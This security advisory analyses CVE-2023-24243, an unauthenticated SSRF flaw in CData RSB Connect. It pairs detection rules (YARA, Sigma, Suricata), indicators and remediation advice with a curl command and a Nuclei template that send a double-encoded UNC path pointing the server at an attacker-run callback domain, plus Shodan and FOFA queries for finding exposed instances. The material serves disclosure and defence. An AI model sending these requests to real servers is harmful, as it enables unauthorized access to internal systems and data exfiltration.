CVE-2023-24243

Executive Summary

CVE-2023-24243 is a Server-Side Request Forgery (SSRF) vulnerability identified in CData RSB Connect version 22.0.8336. This flaw allows an unauthenticated attacker to force the server to make arbitrary HTTP requests to internal or external resources, potentially leading to unauthorized access to internal systems, data exfiltration, or further lateral movement. The vulnerability is classified as high severity with a CVSS score of 7.5, and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch has been released by CData at the time of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and a public PoC is available. The EPSS score of 0.88609 (99.5th percentile) indicates a high probability of active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the CData RSB Connect application, specifically in how it handles URL parsing and HTTP requests. The SSRF is triggered by sending a crafted GET request to the server with a double-encoded backslash path:

/%255c%255c{{interactsh-url}}%255cC$%255cbb

The %255c is a double URL-encoded backslash (\). When the server decodes this, it interprets the path as a UNC (Universal Naming Convention) path, causing it to initiate an SMB or HTTP connection to the attacker-controlled interactsh-url. This allows the attacker to:

• Probe internal networks: The server can be used to scan internal IP addresses and ports.
• Access internal services: The attacker can interact with services running on the server's localhost or internal network (e.g., databases, configuration interfaces).
• Exfiltrate data: If the server can reach external endpoints, the attacker can exfiltrate sensitive data via DNS or HTTP callbacks.

The vulnerability is classified under CWE-918 (Server-Side Request Forgery). The attack does not require authentication, making it particularly dangerous for internet-facing instances.

Vulnerable vs. Patched Code

Vulnerable Code (CData RSB Connect v22.0.8336): The application fails to sanitize or validate user-supplied input in the URL path. When a double-encoded backslash is provided, the server's URL parsing logic treats it as a UNC path and attempts to resolve it, leading to an outbound request.

Patched Code (Hypothetical): A patched version would implement strict input validation to reject or sanitize backslashes and UNC paths. Additionally, the application should enforce a whitelist of allowed outbound destinations and disable the resolution of UNC paths entirely.

Since no official patch is available, the vulnerable code remains in production for all instances of v22.0.8336.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running CData RSB Connect v22.0.8336.
• An interactsh server or a similar callback listener (e.g., Burp Collaborator, webhook.site).

Exploitation Steps:

1. Set up an interactsh listener to capture DNS/HTTP callbacks.
2. Send the following GET request to the target:

   GET /%255c%255c<your-interactsh-domain>%255cC$%255cbb HTTP/1.1
   Host: <target-ip>
   

3. Monitor the interactsh listener for incoming connections. A DNS or HTTP callback confirms the SSRF.

Example using curl:

curl -v "http://<target-ip>/%255c%255c<your-interactsh-domain>%255cC$%255cbb"

Expected Result: The server will attempt to resolve the UNC path, sending a DNS query to the attacker's domain.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests containing %255c or double-encoded backslashes.
• Look for outbound connections to unknown or suspicious domains from the CData RSB Connect server.
• Use network monitoring tools to detect SMB or HTTP traffic to external IPs originating from the server.

Response:

• Immediately isolate the affected server from the network.
• Review logs for any data exfiltration or lateral movement.
• Apply network segmentation to restrict outbound traffic from the server.
• If possible, disable UNC path resolution in the application configuration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound DNS queries to attacker-controlled domains (e.g., *.interactsh.com).
  • HTTP requests to external IPs on ports 80, 443, or 445 from the CData server.
  • SMB traffic (port 445) to external IPs.

• File/Log IOCs:

  • Web server logs containing %255c%255c in the request URI.
  • Application logs showing failed UNC path resolution attempts.

• Host IOCs:

  • Unusual processes or network connections initiated by the CData RSB Connect service.

Detection Engineering

YARA Rule

rule CVE_2023_24243_SSRF_CData {
   meta:
      description = "Detects SSRF exploitation attempts against CData RSB Connect v22.0.8336"
      author = "Valters IT"
      date = "2025-04-08"
      reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-24243"
   strings:
      $ssrf_pattern = /%255c%255c[a-zA-Z0-9.-]+%255cC\$%255cbb/
   condition:
      $ssrf_pattern
}

Sigma Rule

title: CVE-2023-24243 SSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting CData RSB Connect SSRF vulnerability
author: Valters IT
date: 2025-04-08
logsource:
   category: webserver
   product: apache
   service: access_log
detection:
   selection:
      cs-uri-query|contains: '%255c%255c'
   condition: selection
falsepositives:
   - Legitimate use of double-encoded characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24243 CData RSB Connect SSRF Attempt"; flow:to_server; content:"%255c%255c"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-24243

info:
  name: CData RSB Connect v22.0.8336 - Server Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest security patches or updates provided by CData to fix the SSRF vulnerability in RSB Connect v22.0.8336.
  reference:
    - https://twitter.com/W01fh4cker/status/1669890019191037952
    - https://gist.github.com/d3vc0r3/6460a5f006e32a2ebffe739e411ab1b8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24243
    - https://arc.cdata.com/
    - https://arc.cdata.com/trial/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-24243
    cwe-id: CWE-918
    epss-score: 0.88609
    epss-percentile: 0.99514
    cpe: cpe:2.3:a:cdata:arc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cdata
    product: arc
    shodan-query:
      - http.favicon.hash:163538942
      - http.favicon.hash:"163538942"
    fofa-query: icon_hash="163538942"
  tags: cve,cve2023,cdata,rsb,ssrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%255c%255c{{interactsh-url}}%255cC$%255cbb"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 404

Remediation & Mitigation

Immediate Actions:

1. Isolate the server: If possible, disconnect the CData RSB Connect server from the internet or restrict outbound traffic via firewall rules.
2. Apply network segmentation: Ensure the server cannot reach internal sensitive systems.
3. Monitor for exploitation: Use the provided detection rules to identify any ongoing attacks.

Long-term Fix:

• Vendor Patch: Contact CData support for an official patch. As of this report, no patch is available.
• Workaround: If the application allows, disable UNC path resolution or implement a web application firewall (WAF) rule to block requests containing %255c.

Valters IT Signature This report was generated by Valters IT DevSecOps & CTI Division.

{/* [Security Hash: 034439713B8C763B4A5AA3ED] */}